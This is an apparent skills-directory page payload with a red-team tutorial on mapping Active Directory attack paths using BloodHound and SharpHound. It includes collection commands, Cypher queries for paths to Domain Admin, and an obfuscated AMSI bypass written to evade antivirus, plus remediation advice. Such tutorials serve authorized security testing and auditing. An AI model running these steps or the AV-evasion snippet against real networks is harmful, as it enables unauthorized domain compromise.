[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFJX7VE0TDP6CJFJ1MDR3R":3,"skill-same:01M6AFJX7VE0TDP6CJFJ1MDR3R":123},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":67,"repositoryHtmlUrl":68,"repositoryHomepageUrl":69,"ownerHtmlUrl":70,"ownerBlogUrl":71,"ownerDescription":72,"updatedAt":73,"install":74,"resources":87},"01M6AFJX7VE0TDP6CJFJ1MDR3R","performing-active-directory-bloodhound-analysis",null,"Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory relationships and graph attack paths from a compromised user to Domain Admin. Use when performing AD red-team reconnaissance, mapping privilege-escalation chains from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"bloodhound","performing active directory bloodhound analysis","analysis","directory","admin","graph","red-team","active-directory","privilege-escalation","escalation","authentication","t1078","t1059","cybersecurity","sharphound","azurehound","attack-path","ad-enumeration","graph-theory","policy","2026-11-10 10:12:30",false,"---\nname: performing-active-directory-bloodhound-analysis\ndescription: Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory\n  relationships and graph attack paths from a compromised user to Domain Admin. Use\n  when performing AD red-team reconnaissance, mapping privilege-escalation chains\n  from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- bloodhound\n- active-directory\n- sharphound\n- attack-path\n- ad-enumeration\n- graph-theory\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Restore Access\n- Password Authentication\n- Biometric Authentication\n- Strong Password Policy\n- Restore User Account Access\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\n---\n\n# Performing Active Directory BloodHound Analysis\n\n## Overview\n\nBloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory bloodhound analysis\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Initial foothold on a domain-joined Windows system (or valid domain credentials)\n- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed\n- SharpHound collector (C# binary or PowerShell module)\n- Neo4j database (Legacy) or PostgreSQL (CE)\n- Network access to domain controllers (LDAP TCP\u002F389, LDAPS TCP\u002F636)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |\n| T1018 | Remote System Discovery | Discovery |\n| T1482 | Domain Trust Discovery | Discovery |\n| T1615 | Group Policy Discovery | Discovery |\n| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |\n\n## Step 1: Data Collection with SharpHound\n\n### SharpHound.exe (Preferred for OPSEC)\n\n```powershell\n# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)\n.\\SharpHound.exe -c All --outputdirectory C:\\Temp --zipfilename bloodhound_data.zip\n\n# Stealth mode - collect only structure data (no session enumeration)\n.\\SharpHound.exe -c DCOnly --outputdirectory C:\\Temp\n\n# Collect with specific domain and credentials\n.\\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123\n\n# Loop collection - collect sessions over time for better coverage\n.\\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00\n\n# Collect from Havoc C2 Demon session (in-memory)\ndotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All --memcache --outputdirectory C:\\Temp\n```\n\n### Invoke-BloodHound (PowerShell)\n\n```powershell\n# Import and run\nImport-Module .\\SharpHound.ps1\nInvoke-BloodHound -CollectionMethod All -OutputDirectory C:\\Temp -ZipFileName bh.zip\n\n# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching\n$t = 'System.Management.Automation.Am' + 'siUtils'\n[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)\n```\n\n### AzureHound (Azure AD)\n\n```bash\n# Collect Azure AD data\nazurehound list -t \u003Ctenant-id> --refresh-token \u003Ctoken> -o azure_data.json\n\n# Or using AzureHound PowerShell\nImport-Module .\\AzureHound.ps1\nInvoke-AzureHound\n```\n\n## Step 2: Import Data into BloodHound\n\n### BloodHound CE (v5+)\n\n```bash\n# Start BloodHound CE with Docker\ncurl -L https:\u002F\u002Fghst.ly\u002Fgetbhce | docker compose -f - up\n\n# Access web interface at https:\u002F\u002Flocalhost:8080\n# Default credentials: admin \u002F bloodhound\n# Upload ZIP file via GUI: Upload Data > Select File\n```\n\n### BloodHound Legacy\n\n```bash\n# Start Neo4j\nsudo neo4j start\n# Access Neo4j at http:\u002F\u002Flocalhost:7474 (default neo4j:neo4j)\n\n# Start BloodHound GUI\n.\u002FBloodHound --no-sandbox\n\n# Drag and drop ZIP file into BloodHound GUI\n```\n\n## Step 3: Attack Path Analysis\n\n### Pre-Built Queries (Most Critical)\n\n```cypher\n-- Find all Domain Admins\nMATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n\n\n-- Shortest path from owned user to Domain Admin\nMATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find AS-REP Roastable users\nMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname\n\n-- Users with DCSync rights\nMATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)\nMATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)\nRETURN n1.name\n\n-- Find computers where Domain Users are local admin\nMATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p\n\n-- Find unconstrained delegation computers\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name\n\n-- Find constrained delegation abuse paths\nMATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate\n\n-- GPO abuse paths\nMATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)\nRETURN p LIMIT 50\n\n-- Find all sessions on high-value targets\nMATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})\nRETURN c.name, u.name, g.name\n```\n\n### Custom Cypher Queries\n\n```cypher\n-- Find users with GenericAll on other users (password reset path)\nMATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name\n\n-- Find WriteDACL paths (ACL abuse)\nMATCH p=(n)-[:WriteDacl]->(m) WHERE n\u003C>m RETURN p LIMIT 50\n\n-- Find AddMember rights to privileged groups\nMATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name\n\n-- Map trust relationships\nMATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name\n\n-- Find service accounts with admin access\nMATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name\n```\n\n## Step 4: Common Attack Paths\n\n### Path 1: Kerberoasting to DA\n```\nUser (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->\nServer HasSession DA -> Steal Token -> Domain Admin\n```\n\n### Path 2: ACL Abuse Chain\n```\nUser (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->\nIT Admins -> AdminTo DC -> Domain Admin\n```\n\n### Path 3: Unconstrained Delegation\n```\nUser (owned) -> AdminTo Server (Unconstrained Delegation) ->\nCoerce DC Auth (PrinterBug\u002FPetitPotam) -> Capture TGT -> DCSync\n```\n\n### Path 4: GPO Abuse\n```\nUser (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->\nCode Execution as SYSTEM\n```\n\n## Step 5: Remediation Recommendations\n\n| Finding | Risk | Remediation |\n|---|---|---|\n| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |\n| Unconstrained Delegation | Critical | Migrate to constrained\u002FRBCD delegation |\n| Domain Users local admin | High | Remove DA from local admin, use LAPS |\n| Excessive ACL permissions | High | Audit and reduce GenericAll\u002FWriteDACL |\n| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |\n| Cross-domain trust abuse | High | Review trust direction and SID filtering |\n\n## References\n\n- BloodHound GitHub: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- BloodHound CE: https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound\n- SharpHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FSharpHound\n- MITRE ATT&CK S0521: https:\u002F\u002Fattack.mitre.org\u002Fsoftware\u002FS0521\u002F\n- SpecterOps BloodHound Documentation: https:\u002F\u002Fbloodhound.readthedocs.io\u002F\n","# Performing Active Directory BloodHound Analysis\n\n## Overview\n\nBloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory bloodhound analysis\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Initial foothold on a domain-joined Windows system (or valid domain credentials)\n- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed\n- SharpHound collector (C# binary or PowerShell module)\n- Neo4j database (Legacy) or PostgreSQL (CE)\n- Network access to domain controllers (LDAP TCP\u002F389, LDAPS TCP\u002F636)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |\n| T1018 | Remote System Discovery | Discovery |\n| T1482 | Domain Trust Discovery | Discovery |\n| T1615 | Group Policy Discovery | Discovery |\n| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |\n\n## Step 1: Data Collection with SharpHound\n\n### SharpHound.exe (Preferred for OPSEC)\n\n```powershell\n# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)\n.\\SharpHound.exe -c All --outputdirectory C:\\Temp --zipfilename bloodhound_data.zip\n\n# Stealth mode - collect only structure data (no session enumeration)\n.\\SharpHound.exe -c DCOnly --outputdirectory C:\\Temp\n\n# Collect with specific domain and credentials\n.\\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123\n\n# Loop collection - collect sessions over time for better coverage\n.\\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00\n\n# Collect from Havoc C2 Demon session (in-memory)\ndotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All --memcache --outputdirectory C:\\Temp\n```\n\n### Invoke-BloodHound (PowerShell)\n\n```powershell\n# Import and run\nImport-Module .\\SharpHound.ps1\nInvoke-BloodHound -CollectionMethod All -OutputDirectory C:\\Temp -ZipFileName bh.zip\n\n# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching\n$t = 'System.Management.Automation.Am' + 'siUtils'\n[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)\n```\n\n### AzureHound (Azure AD)\n\n```bash\n# Collect Azure AD data\nazurehound list -t \u003Ctenant-id> --refresh-token \u003Ctoken> -o azure_data.json\n\n# Or using AzureHound PowerShell\nImport-Module .\\AzureHound.ps1\nInvoke-AzureHound\n```\n\n## Step 2: Import Data into BloodHound\n\n### BloodHound CE (v5+)\n\n```bash\n# Start BloodHound CE with Docker\ncurl -L https:\u002F\u002Fghst.ly\u002Fgetbhce | docker compose -f - up\n\n# Access web interface at https:\u002F\u002Flocalhost:8080\n# Default credentials: admin \u002F bloodhound\n# Upload ZIP file via GUI: Upload Data > Select File\n```\n\n### BloodHound Legacy\n\n```bash\n# Start Neo4j\nsudo neo4j start\n# Access Neo4j at http:\u002F\u002Flocalhost:7474 (default neo4j:neo4j)\n\n# Start BloodHound GUI\n.\u002FBloodHound --no-sandbox\n\n# Drag and drop ZIP file into BloodHound GUI\n```\n\n## Step 3: Attack Path Analysis\n\n### Pre-Built Queries (Most Critical)\n\n```cypher\n-- Find all Domain Admins\nMATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n\n\n-- Shortest path from owned user to Domain Admin\nMATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find AS-REP Roastable users\nMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname\n\n-- Users with DCSync rights\nMATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)\nMATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)\nRETURN n1.name\n\n-- Find computers where Domain Users are local admin\nMATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p\n\n-- Find unconstrained delegation computers\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name\n\n-- Find constrained delegation abuse paths\nMATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate\n\n-- GPO abuse paths\nMATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)\nRETURN p LIMIT 50\n\n-- Find all sessions on high-value targets\nMATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})\nRETURN c.name, u.name, g.name\n```\n\n### Custom Cypher Queries\n\n```cypher\n-- Find users with GenericAll on other users (password reset path)\nMATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name\n\n-- Find WriteDACL paths (ACL abuse)\nMATCH p=(n)-[:WriteDacl]->(m) WHERE n\u003C>m RETURN p LIMIT 50\n\n-- Find AddMember rights to privileged groups\nMATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name\n\n-- Map trust relationships\nMATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name\n\n-- Find service accounts with admin access\nMATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name\n```\n\n## Step 4: Common Attack Paths\n\n### Path 1: Kerberoasting to DA\n```\nUser (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->\nServer HasSession DA -> Steal Token -> Domain Admin\n```\n\n### Path 2: ACL Abuse Chain\n```\nUser (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->\nIT Admins -> AdminTo DC -> Domain Admin\n```\n\n### Path 3: Unconstrained Delegation\n```\nUser (owned) -> AdminTo Server (Unconstrained Delegation) ->\nCoerce DC Auth (PrinterBug\u002FPetitPotam) -> Capture TGT -> DCSync\n```\n\n### Path 4: GPO Abuse\n```\nUser (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->\nCode Execution as SYSTEM\n```\n\n## Step 5: Remediation Recommendations\n\n| Finding | Risk | Remediation |\n|---|---|---|\n| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |\n| Unconstrained Delegation | Critical | Migrate to constrained\u002FRBCD delegation |\n| Domain Users local admin | High | Remove DA from local admin, use LAPS |\n| Excessive ACL permissions | High | Audit and reduce GenericAll\u002FWriteDACL |\n| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |\n| Cross-domain trust abuse | High | Review trust direction and SID filtering |\n\n## References\n\n- BloodHound GitHub: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- BloodHound CE: https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound\n- SharpHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FSharpHound\n- MITRE ATT&CK S0521: https:\u002F\u002Fattack.mitre.org\u002Fsoftware\u002FS0521\u002F\n- SpecterOps BloodHound Documentation: https:\u002F\u002Fbloodhound.readthedocs.io\u002F\n",{"name":5,"tags":44,"author":45,"domain":32,"license":15,"version":46,"nist_csf":47,"subdomain":51,"description":7,"mitre_attack":52,"d3fend_techniques":58},[19,26,33,35,36,37,27],"mahipal","1.0",[48,49,50],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[53,54,55,56,57],"T1595","T1190","T1059","T1078","T1068",[59,60,61,62,63],"Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-active-directory-bloodhound-analysis",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-active-directory-bloodhound-analysis",{"tool":80,"command":81},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-active-directory-bloodhound-analysis",{"tool":83,"command":84},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-active-directory-bloodhound-analysis","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002FSKILL.md",true,[88,94,99,105,109,113,119],{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"assets\u002Ftemplate.md","ASSET","资产文件",3708,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Fassets\u002Ftemplate.md",{"path":95,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002FLICENSE",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"references\u002Fapi-reference.md","REFERENCE","参考文档",1546,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Freferences\u002Fapi-reference.md",{"path":106,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":107,"sourceHtmlUrl":108},"references\u002Fstandards.md",2378,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Freferences\u002Fstandards.md",{"path":110,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":111,"sourceHtmlUrl":112},"references\u002Fworkflows.md",7791,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Freferences\u002Fworkflows.md",{"path":114,"resourceType":115,"resourceTypeDesc":116,"sizeBytes":117,"sourceHtmlUrl":118},"scripts\u002Fagent.py","SCRIPT","脚本",7249,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Fscripts\u002Fagent.py",{"path":120,"resourceType":115,"resourceTypeDesc":116,"sizeBytes":121,"sourceHtmlUrl":122},"scripts\u002Fprocess.py",16810,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Fscripts\u002Fprocess.py",[124,155,178,205,231,258],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":135,"publishedAt":39},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[130],{"categoryNo":131,"categoryName":132,"taxonomyType":133,"taxonomyTypeDesc":134},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[136,137,138,139,140,32,141,142,143,144,145,146,147,148,149,150,151,152,153,154],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":162,"publishedAt":39},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[161],{"categoryNo":131,"categoryName":132,"taxonomyType":133,"taxonomyTypeDesc":134},[163,151,164,165,140,38,32,143,166,167,168,169,170,171,172,173,174,175,176,177],"boot","TPM","validating tpm measured boot attestation","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":188,"publishedAt":39},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[184,187],{"categoryNo":185,"categoryName":186,"taxonomyType":133,"taxonomyTypeDesc":134},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":131,"categoryName":132,"taxonomyType":133,"taxonomyTypeDesc":134},[172,189,190,191,192,32,193,194,166,195,196,197,198,199,200,30,201,202,203,204],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":206,"name":207,"nameZh":6,"description":208,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":209,"categories":210,"keywords":212,"publishedAt":39},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[211],{"categoryNo":131,"categoryName":132,"taxonomyType":133,"taxonomyTypeDesc":134},[213,214,215,32,216,217,218,219,220,221,222,223,224,225,226,227,169,228,229,230],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":232,"name":233,"nameZh":6,"description":234,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":235,"categories":236,"keywords":238,"publishedAt":39},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[237],{"categoryNo":131,"categoryName":132,"taxonomyType":133,"taxonomyTypeDesc":134},[239,240,241,32,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":259,"name":260,"nameZh":6,"description":261,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":262,"categories":263,"keywords":265,"publishedAt":39},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, 